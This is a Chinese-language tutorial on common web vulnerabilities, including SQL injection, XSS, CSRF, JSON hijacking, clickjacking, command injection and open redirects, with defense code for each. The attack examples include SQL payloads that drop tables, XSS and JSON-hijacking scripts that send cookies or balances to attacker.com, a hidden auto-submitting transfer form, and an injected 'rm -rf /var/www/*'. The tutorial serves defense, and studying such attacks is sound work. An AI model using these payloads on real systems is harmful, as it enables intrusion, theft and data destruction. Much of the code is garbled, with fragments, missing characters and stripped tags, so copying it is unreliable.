Web常见安全漏洞全解析(含案例+前后端实操防御方案)

目录
1. SQL注入
1.1 核心说明
- 定义:攻击者将SQL语句片段注入请求参数/表单,后端未做校验直接拼接执行,导致数据库数据泄露、篡改或删除。
- 触发条件 :后端未过滤特殊字符(
'、;、or、--等),直接通过字符串拼接构造SQL语句。
1.2 典型攻击案例
案例1:窃取全量用户数据
- 前端请求:
GET /api/user?id=1' OR '1'='1 - 后端原始SQL:
select id, username, password from t_user where id='${id}' - 注入后SQL:
select id, username, password from t_user where id='1' OR '1'='1' - 后果:返回用户表所有数据,若密码未加密则直接泄露。
案例2:万能登录(越权访问)
- 登录表单:用户名输入
admin' --,密码任意填写 - 后端原始SQL:
select * from t_admin where username='${username}' and password='${password}' - 注入后SQL:
select * from t_admin where username='admin' --' and password='xxx' - 后果:
--注释密码校验逻辑,无需正确密码即可登录管理员账号。
案例3:恶意删表(高危破坏)
- 前端请求:
GET /api/delete?orderId=1; DROP TABLE t_user; -- - 后端原始SQL:
delete from t_order where id=${orderId} - 注入后SQL:
delete from t_order where id=1; DROP TABLE t_user; -- - 后果:删除订单数据的同时,删除用户表,导致数据永久丢失。
1.3 防御方案(前后端协同)
(1)后端核心防御(必做)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 参数化查询 | Java(PreparedStatement): javaString sql = "select * from t_user where id=?"; pstmt = conn.prepareStatement(sql);.setInt(1, Integer.parseInt(id)); // 自动转义特殊字符ResultSet rs = pstmt.executeQuery();<br>Node.js(Sequelize):<br>javascriptconst user = await User.findOne({ where: { id: id } }); // 内置参数化 |
| 输入字符过滤 | 编写过滤函数拦截非法字符:>```java String filterSql(String input) { (input == null) return ""; 过滤SQL关键字及特殊字符.replaceAll("[';\-\+\/\(\)\[\]orANDUNIONDROP]", "");} |
| 敏感字段加密 | 密码使用BCrypt不可逆加密存储:javawd = "user123"; encryptedPwd = BCrypt.hashpw(rawPwd, BCrypt.gensalt()); // 加密后存储>// 校验:BCrypt.checkpw(rawPwd, encryptedPwd)``` |
(2)前端辅助防御
-
输入格式校验:ID仅允许数字,用正则限制:
javascriptconst validateId = (value) => /^\d+$/.test(value) || alert("ID仅允许输入数字"); -
关键字拦截:提交前检测输入是否含
or、drop等SQL关键字,直接拦截。
2. XSS攻击(跨站脚本攻击)
2.1 核心说明
- 定义:攻击者将恶意JS脚本注入网页,用户浏览时脚本执行,窃取Cookie、篡改页面或诱导操作。
- 分类 :
- 反射型:脚本通过URL参数注入,后端未过滤直接返回页面(一次性攻击);
- 存储型:脚本存入数据库(如评论、私信),用户加载页面时触发(持久化攻击);
- DOM型:前端未校验用户输入,直接通过DOM渲染执行脚本(前端漏洞)。
- 触发条件 :前后端未对用户输入的特殊字符(
<、>、"等)转义,直接渲染页面。
2.2 典型攻击案例
案例1:反射型XSS(窃取Cookie)
- 攻击者构造链接:`http://example.com/search?key=https://attacker.com/steal?cookie='+document.cookie)
- 诱导用户点击,后端直接拼接页面返回:`:
案例2:存储型XSS(评论区钓鱼)
- 攻击者在评论区提交:
=x onerror="alert('请登录查看完整内容');window.location.href='https://fake-login.com'"> - 后端未过滤直接存入数据库,其他用户查看评论时脚本执行;
- 后果:诱导用户跳转到钓鱼网站,泄露账号密码。
案例3:DOM型XSS(前端漏洞)
- 前端代码:
document.getElementById('content').innerHTML = location.hash.slice(1); - 攻击者构造链接:
http://example.com/#document.body.innerHTML='1>网站维护,请点击<a href="https://fake-pay.com">备份数据</a></h1>'</script> - 后果:页面被篡改,诱导用户点击钓鱼链接。
2.3 防御方案(前后端协同)
(1)后端核心防御
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 输入转义 | 编写HTML转义函数: ```java>public static String escapeHtml(String input) { if (input == null) return ""; input = input.replaceAll("&", "&"); = input.replaceAll(" "<");> input = input.replaceAll(">", ">"); input = input.replaceAll(""", """); input = input.replaceAll("'", "'"); return input; }:接收参数后先转义再存储/渲染>String safeKey = escapeHtml(request.getParameter("key")); |
| HttpOnly Cookie | 禁止JS读取敏感Cookie:```java = new Cookie("sessionId", "abc123xyz");.setHttpOnly(true); // 核心配置.setSecure(true); // 仅HTTPS传输(生产必配)cookie.setPath("/"); response.addCookie(cookie); |
(2)前端核心防御
-
避免使用
innerHTML渲染用户输入,改用textContent:javascript// 危险:document.getElementById('content').innerHTML = userInput; // 安全:document.getElementById('content').textContent = userInput; -
第三方组件漏洞检测:使用
npm audit扫描依赖,避免使用存在XSS漏洞的老旧组件; -
输入长度限制:评论、搜索框等限制最大长度(如500字),减少脚本注入空间。
3. CSRF攻击(跨站请求伪造)
3.1 核心说明
- 定义:利用用户已登录的会话状态,诱导用户点击恶意链接,发起跨域请求(如转账、改密码),冒充用户操作。
- 触发条件 :
- 用户已登录目标网站(会话Cookie有效);
- 用户访问攻击者构造的恶意页面/链接。
- 攻击本质:浏览器自动携带目标网站Cookie,服务器误判为用户本人操作。
3.2 典型攻击案例(转账场景)
-
场景:用户已登录银行网站
https://bank.example.com(Cookie有效); -
攻击者构造恶意页面(隐藏表单):
html="https://bank.example.com/api/transfer" method="POST" id="csrfForm"> ="hidden" name="toAccount" value="attacker123"> name="amount" value="10000"> ('csrfForm').submit(); -
诱导用户点击该页面,浏览器自动携带银行Cookie发起转账请求;
-
后果:银行未做CSRF校验,转账成功,用户资金损失。
3.3 防御方案(后端为主,前端辅助)
(1)后端核心防御(必做)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| Anti-CSRF Token | 1. 页面加载时生成随机Token:javatransfer-page") String transferPage(HttpSession session, Model model) { String csrfToken = UUID.randomUUID().toString(); session.setAttribute("csrfToken", csrfToken);> model.addAttribute("csrfToken", csrfToken); // 传递给前端> return "transfer"; }前端表单携带Token:<br>html>transfer" method="POST"> ="hidden" name="csrfToken" value="${csrfToken}"> ">转账> 3. 后端校验Token:>javaPostMapping("/api/transfer")(@RequestParam String csrfToken, HttpSession session) { serverToken = (String) session.getAttribute("csrfToken");<br> if (!csrfToken.equals(serverToken)) { new RuntimeException("CSRF攻击:Token校验失败");<br> }> // 执行转账逻辑success";<br>}<br> |
| SameSite Cookie | 设置Cookie跨域限制: javaookie cookie = new Cookie("sessionId", "abc123");cookie.setSameSite("Strict"); // 仅同域请求携带Cookie.addCookie(cookie);<br> |
| 核心操作加验证码 | 转账、改密码等操作要求输入短信验证码/图形验证码,强制用户手动确认。 |
(2)前端辅助防御
-
Axios全局携带CSRF Token:
javascript// 请求拦截器 axios.interceptors.request.use(config => { const csrfToken = getCookie('csrfToken'); // 读取非HttpOnly的Token if (csrfToken) config.headers['X-CSRF-Token'] = csrfToken; return config; }); -
核心操作添加确认弹窗:
javascriptconst handleTransfer = () => { if (!confirm(`确认向${toAccount}转账${amount}元?`)) return; // 提交转账请求 };
4. DDoS攻击(分布式拒绝服务攻击)
4.1 核心说明
- 定义:攻击者控制多台设备(僵尸网络)向目标服务器发送海量无效请求,耗尽带宽、CPU、内存资源,导致合法用户无法访问。
- 常见攻击类型 :
- HTTP Flood:海量HTTP请求(如反复刷新)压垮Web服务器;
- SYN Flood:伪造TCP连接请求,耗尽服务器连接队列;
- UDP Flood:海量UDP数据包占用带宽。
4.2 典型攻击案例
案例:HTTP Flood攻击(Web服务瘫痪)
- 攻击者控制1000台僵尸机,每台每秒发送100个
GET /index.html请求; - 目标服务器QPS瞬间达10万+,CPU占用率100%,内存耗尽;
- 后果:合法用户访问网站时超时,服务完全不可用。
4.3 防御方案(多层防护,运维+开发协同)
(1)基础设施层(运维负责,核心防护)
| 防御措施 | 实操步骤 |
|---|---|
| 部署CDN | 1. 接入Cloudflare/阿里云CDN,更改域名DNS指向CDN;. 开启"攻击模式",自动过滤恶意请求; 静态资源(图片、JS、CSS)直接从CDN返回,减轻源服务器压力。 |
| 配置高防IP | 1. 购买阿里云/腾讯云高防IP,绑定源服务器; 2. 开启"SYN Flood防护""HTTP Flood防护",设置清洗阈值(如单IP每秒500次请求触发清洗)。 |
| Nginx限流 | 配置Nginx限制单IP请求频率: ```nginx>http { limit_req_zone $binary_remote_addr zone=one:10m rate=100r/s; server { listen 80;_name example.com; limit_req zone=one burst=10 nodelay; // 1秒最多100请求,缓存10个 limit_conn addr 20; // 单IP最大20个并发连接 }>} |
(2)后端防御(开发负责)
-
分布式限流(Redis实现):
java@Component public class RedisLimiter { @Autowired private StringRedisTemplate redisTemplate; // 接口限流:key=接口名,limit=每秒最大请求数 public boolean limit(String key, int limit) { String redisKey = "limiter:" + key; Long count = redisTemplate.opsForValue().increment(redisKey, 1); if (count == 1) redisTemplate.expire(redisKey, 1, TimeUnit.SECONDS); return count } // 接口使用 @GetMapping("/api/core") public String coreApi() { if (!redisLimiter.limit("coreApi", 50)) { return "请求过于频繁,请稍后再试"; } // 业务逻辑 return "success"; } -
服务降级:非核心接口(如评论、推荐)触发限流时返回降级提示,优先保障登录、支付等核心功能。
(3)前端防御
-
按钮节流:避免用户高频点击触发重复请求:
javascriptconst throttle = (fn, delay = 1000) => { let lastTime = 0; return (...args) => { const now = Date.now(); if (now - lastTime >= delay) { lastTime = now; fn.apply(this, args); } }; }; // 按钮点击事件绑定节流 const handleClick = throttle(() => { axios.get("/api/core"); }); -
静态资源CDN部署:将图片、CSS、JS等静态资源上传至阿里云OSS,通过CDN加速访问,避免源服务器处理静态资源请求。
5. DNS劫持
5.1 核心说明
- 定义:攻击者篡改DNS解析结果,将域名指向恶意IP(如钓鱼网站),导致用户访问虚假网站而非真实服务器。
- 常见劫持方式:DNS缓存污染、ARP欺骗、路由器DNS篡改、本机Hosts文件篡改。
- 触发条件:用户使用不安全的DNS服务器、路由器未设密码、设备感染恶意软件。
5.2 典型攻击案例
案例1:钓鱼网站劫持(资金诈骗)
- 正常解析:
www.bank-example.com→ 真实IP10.0.0.1(官方银行网站); - 劫持后解析:
www.bank-example.com→ 恶意IP203.0.113.10(钓鱼网站); - 攻击过程:攻击者通过ARP欺骗篡改路由器DNS缓存,用户访问银行官网时被导向仿冒页面;
- 后果:用户在钓鱼网站输入银行卡号、密码、验证码,全部被攻击者窃取,导致资金损失。
案例2:本机Hosts劫持(信息泄露)
-
攻击者通过恶意软件修改用户电脑Hosts文件(Windows:
C:\Windows\System32\drivers\etc\hosts):203.0.113.10 www.example.com -
用户访问
www.example.com时,直接解析到恶意IP,打开仿冒的登录页面; -
后果:用户误以为是官方网站,输入账号密码后被攻击者获取。
5.3 防御方案(多层防护,运维+用户+开发协同)
(1)基础设施层(运维负责)
| 防御措施 | 实操步骤 |
|---|---|
| 配置多域名备份 | 1. 注册备用域名(如主域example.com,备用域example-cn.com); 主域被劫持时,通过官方渠道(微信公众号、短信)通知用户切换备用域;>3. 备用域绑定独立服务器,避免同时被劫持。 |
| 启用DNSSEC | 1. 在域名服务商(阿里云DNS、Cloudflare)开启DNSSEC功能; 2. 生成密钥对(公钥+私钥),将公钥提交至域名注册商;. 效果:DNS服务器会验证解析结果的数字签名,篡改后的解析会被拒绝。 |
| 定期检测DNS解析 | 1. 使用nslookup/dig工具定期校验解析结果: nslookup www.example.com # 查看当前解析IP.example.com @8.8.8.8 # 用谷歌DNS验证(对比是否一致)```发现异常时,立即联系域名服务商重置DNS配置。 |
(2)开发层防御
-
强制使用HTTPS并配置HSTS:
java// Spring Boot全局配置HSTS(强制浏览器用HTTPS访问) @Configuration public class WebConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) { // max-age=31536000:1年有效期,includeSubDomains:包含子域名 resp.setHeader("Strict-Transport-Security", "max-age=31536000; includeSubDomains"); return true; } }); } } -
效果:即使DNS劫持到恶意IP,浏览器也会因HTTPS证书不匹配提示"不安全",阻止用户访问。
(3)用户层防御
- 手动修改DNS服务器:
- Windows:网络属性 → IPv4属性 → DNS服务器填写
223.5.5.5(阿里云DNS)或8.8.8.8(谷歌DNS); - Mac:系统设置 → 网络 → 高级 → DNS → 添加可信DNS;
- 路由器:登录管理后台(如
192.168.1.1),在DNS设置中配置可信地址。
- Windows:网络属性 → IPv4属性 → DNS服务器填写
- 检查并保护Hosts文件:
- Windows:打开
C:\Windows\System32\drivers\etc\hosts,删除非官方添加的解析记录; - 为Hosts文件设置只读权限(右键 → 属性 → 安全 → 拒绝"写入"权限)。
- Windows:打开
6. JSON劫持
6.1 核心说明
- 定义:攻击者利用跨域请求特性,诱导用户访问恶意页面,窃取目标网站返回的JSON敏感数据(如用户余额、个人信息)。
- 触发条件 :
- 目标网站仅通过Cookie验证请求合法性,未限制跨域JSON读取;
- 攻击者通过
<script>标签加载JSON接口(浏览器允许跨域加载脚本)。
- 攻击本质 :
>标签加载JSON后自动解析为JS对象,攻击者通过重写对象原型窃取数据。
6.2 典型攻击案例(窃取用户余额)
-
目标网站接口(已登录用户可访问):
https://example.com/api/user/info,返回JSON:json{"uid":123,"username":"test","balance":5000} -
攻击者构造恶意页面:
html> // 重写Object原型的setter,窃取balance字段 Object.prototype.__defineSetter__('balance', function(value) { // 将余额和UID发送到攻击者服务器 new Image().src = `https://attacker.com/steal?uid=${this.uid}&balance=${value}`; }); </script> 跨域加载目标网站JSON接口,浏览器自动解析为JS对象 --> example.com/api/user/info"></script> </body> > -
诱导已登录用户访问该恶意页面,浏览器自动携带目标网站Cookie,请求JSON接口;
-
后果:用户的UID和余额被发送到攻击者服务器,敏感信息泄露。
6.3 防御方案(后端核心,前端辅助)
(1)后端核心防御(必做)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| JSON添加安全前缀 | 1. 后端返回JSON时,添加while(1);前缀(阻止<script>标签解析): Java示例: java>@GetMapping("/api/user/info") String getUserInfo() {<br> UserInfo user = new UserInfo(123, "test", 5000);<br> String json = new ObjectMapper().writeValueAsString(user);> return "while(1);" + json; // 添加前缀<br>}<br>2. 前端解析时去除前缀:```javascript("/api/user/info").then(res => {> const safeJson = res.data.replace("while(1);", ""); // 去除前缀 const userInfo = JSON.parse(safeJson);>}); 3. 效果:恶意页面通过<script>加载时,会因while(1);进入死循环,无法解析JSON。 |
| 校验Referer/Origin | 1. 后端拦截JSON接口,仅允许本站或可信域名访问: ```java>@GetMapping("/api/user/info") String getUserInfo(HttpServletRequest request) { String referer = request.getHeader("Referer"); String origin = request.getHeader("Origin"); // 校验Referer/Origin是否为可信域名(如example.com) if (referer == null |
(2)前端辅助防御
- 避免通过
>标签加载敏感JSON接口,统一使用AJAX/Fetch请求; - 敏感JSON数据加密传输:后端返回加密后的JSON,前端解密后使用(如AES加密)。
7. 点击劫持
7.1 核心说明
- 定义:攻击者将目标网站通过透明iframe嵌入恶意页面,诱导用户点击"虚假按钮"(实际点击iframe中的目标网站按钮),完成非预期操作(如点赞、转账、授权)。
- 攻击特点:隐蔽性强(iframe透明)、视觉欺骗(虚假按钮覆盖真实按钮)。
- 触发条件:目标网站未限制被iframe嵌入,或未对嵌入来源做校验。
7.2 典型攻击案例(冒充用户点赞/关注)
-
场景:用户已登录社交网站
https://social.example.com(会话有效); -
攻击者构造恶意页面:
htmlDOCTYPE html> <html> > /* iframe透明,覆盖在虚假按钮上方 */ #targetIframe { position: absolute; top: 0; left: 0; width: 200px; height: 50px; opacity: 0.01; /* 透明不可见 */ z-index: 10; } /* 虚假按钮,诱导用户点击 */ #fakeBtn { position: absolute; top: 0; left: 0; width: 200px; height: 50px; background: #ff0000; color: white; font-size: 16px; line-height: 50px; text-align: center; } </style> <body> id="fakeBtn">领取100元红包</div> 嵌入目标网站的"关注"按钮页面 --> rame" src="https://social.example.com/follow?userId=attacker">> -
诱导用户点击"领取100元红包"按钮,实际点击的是iframe中的"关注"按钮;
-
后果:用户在不知情的情况下关注了攻击者账号,攻击者借此涨粉或传播恶意内容。
7.3 防御方案(后端为主,前端辅助)
(1)后端核心防御(必做)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 配置X-Frame-Options响应头 | 1. Spring Boot全局配置: java@ConfigurationConfig implements WebMvcConfigurer {Override addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) {> // DENY:禁止任何网站iframe嵌入;SAMEORIGIN:仅允许本站嵌入 resp.setHeader("X-Frame-Options", "DENY");> return true;> } }); }<br>}>. Nginx配置: nginxserver { listen 80;> server_name example.com; X-Frame-Options DENY;<br>}> |
(2)前端辅助防御
-
JS校验是否被iframe嵌入:
javascript// 页面加载时执行 if (self !== top) { // 被iframe嵌入,跳转到自身域名(打破iframe) top.location.href = self.location.href; // 或隐藏页面内容 document.body.style.display = "none"; alert("禁止通过iframe访问本站"); } -
核心操作按钮添加二次确认:
javascriptconst handleFollow = () => { if (!confirm("确认关注该用户吗?")) return; // 执行关注逻辑 };
8. OS命令注入
8.1 核心说明
- 定义:攻击者将操作系统命令片段注入请求参数,后端未做校验直接拼接执行,导致服务器被控制(如删除文件、查看敏感信息)。
- 触发条件 :后端通过
exec()、system()等函数执行系统命令,且直接拼接用户输入的参数。 - 常见场景:文件下载、服务器监控、第三方工具调用(如Git、FFmpeg)。
8.2 典型攻击案例(删除服务器文件)
-
场景:后端提供"下载Git仓库"功能,参数为用户输入的仓库地址;
-
后端Node.js代码(危险写法):
javascriptconst exec = require('child_process').exec; app.get('/download-repo', (req, res) => { const repo = req.query.repo; // 用户输入的仓库地址 // 直接拼接命令执行 exec(`git clone ${repo} /var/www/repos`, (err, stdout, stderr) => { if (err) return res.send("下载失败"); res.send("下载成功"); }); }); -
攻击者构造请求:
GET /download-repo?repo=https://github.com/xxx/xxx.git && rm -rf /var/www/* && -
拼接后执行的命令:
git clone https://github.com/xxx/xxx.git && rm -rf /var/www/* && /var/www/repos -
后果:
rm -rf /var/www/*删除网站根目录所有文件,导致服务瘫痪。
8.3 防御方案(后端核心,前端辅助)
(1)后端核心防御(必做)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 避免直接拼接命令 | 使用参数化命令执行工具,禁止字符串拼接:.js示例(使用execFile,仅接收数组参数):javascriptFile = require('child_process').execFile;app.get('/download-repo', (req, res) => { const repo = req.query.repo; 参数以数组形式传入,自动转义特殊字符> execFile('git', ['clone', repo, '/var/www/repos'], (err, stdout, stderr) => { if (err) return res.send("下载失败");<br> res.send("下载成功");> });});<br> Java示例(使用ProcessBuilder): ```java>ProcessBuilder pb = new ProcessBuilder("git", "clone", repo, "/var/www/repos");>Process process = pb.start(); |
| 输入严格过滤 | 编写过滤函数,仅允许合法字符(如字母、数字、/、:、-): javascriptconst validateRepo = (repo) => { const reg = /^https?:\/\/[a-zA-Z0-9.-]+\/[a-zA-Z0-9_-]+\/[a-zA-Z0-9_-]+\.git$/;.test(repo);>};:validateRepo(repo)) {<br> return res.send("非法仓库地址");<br>} |
| 使用第三方转义库 | Node.js使用shell-escape库转义参数: ```javascriptconst shellEscape = require('shell-escape');>const cmd = git clone ${shellEscape([repo])} /var/www/repos;(cmd, (err, stdout, stderr) => { ... }); |
| 最小权限运行 | Web应用进程以普通用户权限运行(如www-data),禁止root权限;限制命令执行目录的写入权限,避免恶意修改系统文件。 |
(2)前端辅助防御
- 输入格式校验:仅允许输入合法的仓库地址格式(如
https://github.com/xxx/xxx.git),用正则拦截非法字符; - 限制参数长度:仓库地址输入框限制最大长度为200字符,避免传入过长的恶意命令字符串。
9. URL跳转漏洞
9.1 核心说明
- 定义:攻击者构造含恶意URL的跳转链接,诱导用户点击,通过目标网站的跳转功能跳转到钓鱼网站,窃取用户信息或诱导操作。
- 触发条件 :后端未校验跳转URL的合法性,直接根据用户传入的
redirect、url等参数执行跳转。 - 常见场景:登录后跳转、分享链接跳转、活动页面跳转。
9.2 典型攻击案例(钓鱼网站诱导)
- 场景:目标网站登录后支持跳转回原页面,跳转参数为
redirect:https://example.com/login?redirect=/user/home; - 攻击者构造恶意链接:
https://example.com/login?redirect=https://fake-login.com; - 诱导用户点击该链接,用户登录成功后,被自动跳转到
https://fake-login.com(钓鱼网站); - 钓鱼网站仿冒目标网站的"完善个人信息"页面,诱导用户输入银行卡号、验证码,导致信息泄露。
9.3 防御方案(后端核心,前端辅助)
(1)后端核心防御(必做)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 白名单校验 | 仅允许跳转到本站域名或可信域名,拒绝其他域名跳转: Java示例: ```java@GetMapping("/login") public String login(@RequestParam(required = false) String redirect, HttpSession session) { // 已登录,执行跳转session.getAttribute("user") != null) { // 白名单:仅允许本站域名和可信合作伙伴域名 allowDomains = Arrays.asList("example.com", "partner-example.com"); if (redirect != null && !redirect.isEmpty()) { // 解析跳转URL的域名 = getDomain(redirect); if (allowDomains.contains(domain) |
| 添加跳转Token | 1. 生成跳转Token并与URL绑定:>javaGetMapping("/get-redirect-url")RedirectUrl(HttpSession session) { targetUrl = "/user/home"; token = UUID.randomUUID().toString(); // 存储Token与目标URL的映射(有效期5分钟) session.setAttribute("redirect_token_" + token, targetUrl);<br> return "/login?redirect_token=" + token;<br>}>. 跳转时校验Token: @GetMapping("/login")(@RequestParam String redirect_token, HttpSession session) { String targetUrl = (String) session.getAttribute("redirect_token_" + redirect_token); if (targetUrl != null) { session.removeAttribute("redirect_token_" + redirect_token); // 一次性使用 return "redirect:" + targetUrl; } "redirect:/user/home"; }``` |
| 限制相对路径跳转 | 仅允许跳转至本站相对路径(如/user/home),禁止绝对路径(如https://xxx.com):>```java (redirect.startsWith("http://") |
(2)前端辅助防御
- 跳转前弹窗提醒:若跳转目标为外部域名,弹出确认提示:
javascriptconst handleRedirect = (redirectUrl) => {> if (redirectUrl.startsWith("http://") || redirectUrl.startsWith("https://")) { if (!confirm("即将跳转到外部网站,请注意安全!是否继续?")) {<br> return;<br> }> } window.location.href = redirectUrl;<br>};<br> - 前端过滤非法跳转URL:拦截含
fake、phish等关键词的URL,或直接拦截非白名单域名的跳转。
10. 其他常见漏洞
10.1 暴力破解
10.1.1 核心说明
- 定义 :攻击者使用工具枚举用户名+密码(如弱密码
123456、admin@123),尝试登录系统,获取账号控制权。 - 触发条件:系统未限制登录尝试次数、未启用验证码、用户使用弱密码。
10.1.2 典型攻击案例(账号被盗)
- 攻击者获取目标网站的用户名列表(如通过信息泄露、注册接口枚举);
- 使用暴力破解工具(如Hydra),对每个用户名尝试1000个常见弱密码;
- 若系统未限制尝试次数,攻击者成功破解弱密码账号,登录后窃取用户信息或进行恶意操作(如发布垃圾信息)。
10.1.3 防御方案(后端核心,前端辅助)
| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 限制登录尝试次数 | 1. Redis记录用户登录失败次数: ```java@PostMapping("/login") public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {> String redisKey = "login_fail_" + username;Count = redisTemplate.opsForValue().get(redisKey); if (failCount != null && failCount >= 5) { return "登录失败次数过多,请10分钟后再试"; } 校验用户名密码 if ("admin".equals(username) && "StrongPwd123!".equals(password)) {> redisTemplate.delete(redisKey); // 登录成功,清除失败次数> session.setAttribute("user", username); return "redirect:/user/home"; } else { // 登录失败,累加次数,设置10分钟过期Template.opsForValue().increment(redisKey, 1); redisTemplate.expire(redisKey, 10, TimeUnit.MINUTES); "用户名或密码错误"; } } |
| 登录验证码 | 1. 失败3次后要求输入图形验证码:javafailCount != null && failCount >= 3) {<br> String captcha = request.getParameter("captcha"); String sessionCaptcha = (String) session.getAttribute("captcha"); if (!captcha.equalsIgnoreCase(sessionCaptcha)) {<br> return "验证码错误"; }<br>}>. 图形验证码生成(使用Kaptcha): ```java>@BeanKaptcha getDefaultKaptcha() {> DefaultKaptcha captcha = new DefaultKaptcha(); Properties props = new Properties();.setProperty("kaptcha.border", "no"); props.setProperty("kaptcha.textproducer.char.length", "4"); config = new Config(props); captcha.setConfig(config);> return captcha; } |
| 强制强密码策略 | 注册/改密码时要求密码复杂度(字母+数字+特殊字符,长度≥8): const validatePassword = (pwd) => { const reg = /^(?=.[a-z])(?=. [A-Z])(?=.\d)(?=. [@ ! !%*?&])[A-Za-z\d@ !!%*?&]{8,}$/; return reg.test(pwd) |
10.2 HTTP报头追踪漏洞(TRACE方法)
10.2.1 核心说明
- 定义:HTTP TRACE方法用于调试,服务器会返回完整的请求头(含Cookie、Session Token),攻击者可利用此窃取敏感信息。
- 触发条件:Web服务器启用了HTTP TRACE方法。
10.2.2 典型攻击案例(窃取Cookie)
- 攻击者向目标服务器发送TRACE请求:
bash>curl -X TRACE https://example.com<br> - 服务器启用TRACE后,返回响应包含完整请求头:
>TRACE / HTTP/1.1 example.com sessionId=abc123xyz; uid=123<br>...<br> - 攻击者获取到
sessionId后,可冒充用户登录系统。
10.2.3 防御方案(服务器层核心)
| 防御措施 | 实操步骤 |
|---|---|
| 禁用TRACE方法 | 1. Nginx配置: ```nginx>server { listen 80; server_name example.com; 禁用TRACE、TRACK方法request_method ~* "TRACE |
10.3 信息泄露
10.3.1 核心说明
- 定义:应用程序未正确处理报错或配置不当,泄露服务器版本、数据库信息、源代码片段、用户敏感数据等。
- 常见泄露途径:报错页面显示异常堆栈、robots.txt暴露敏感路径、HTTP响应头泄露软件版本、日志文件未脱敏。
10.3.2 典型攻击案例(报错信息泄露)
- 后端代码未捕获异常,报错时返回完整堆栈:
>HTTP/1.1 500 Internal Server Errorcat/8.5.61<br>...<br>java.sql.SQLException: Access denied for user 'root'@'localhost' (using password: YES)<br>at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)<br>at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3976)<br>... - 攻击者获取到数据库用户名(root)、服务器软件版本(Tomcat/8.5.61),为后续攻击做准备。
10.3.3 防御方案(多层协同)
| 防御措施 | 实操步骤 |
|---|---|
| 统一错误页面 | 1. Spring Boot配置生产环境错误页面:>yaml: prod:ception-if-no-handler-found: true web::appings: false:<br> error:<br> path: /errorabel:: false<br> 2. 自定义错误页面(src/main/resources/public/error/500.html),不显示任何技术细节。 |
| 隐藏软件版本 | 1. Nginx配置:nginx http { server_tokens off; // 隐藏Nginx版本 }```Tomcat配置(conf/server.xml):` |
| 日志脱敏 | 日志中屏蔽敏感信息(手机号、身份证、密码): ```java>// 使用日志脱敏工具类 public class LogDesensitizer { // 手机号脱敏:138****1234 String desensitizePhone(String phone) { if (phone == null) return ""; return phone.replaceAll("(\d{3})\d{4}(\d{4})", "1**** 2"); }>}输出:.info("用户登录:手机号={}", LogDesensitizer.desensitizePhone(phone)); |
| 限制robots.txt | 编辑robots.txt,禁止搜索引擎抓取敏感路径:```: *allow: /admin/>Disallow: /api/ /config/ |
10.4 目录遍历漏洞
10.4.1 核心说明
- 定义 :攻击者通过URL注入
../、..\或其编码(如%2e%2e%2f),访问服务器未授权目录(如/etc/passwd、/root/.ssh),窃取敏感文件。 - 触发条件 :后端未过滤路径中的
../字符,直接拼接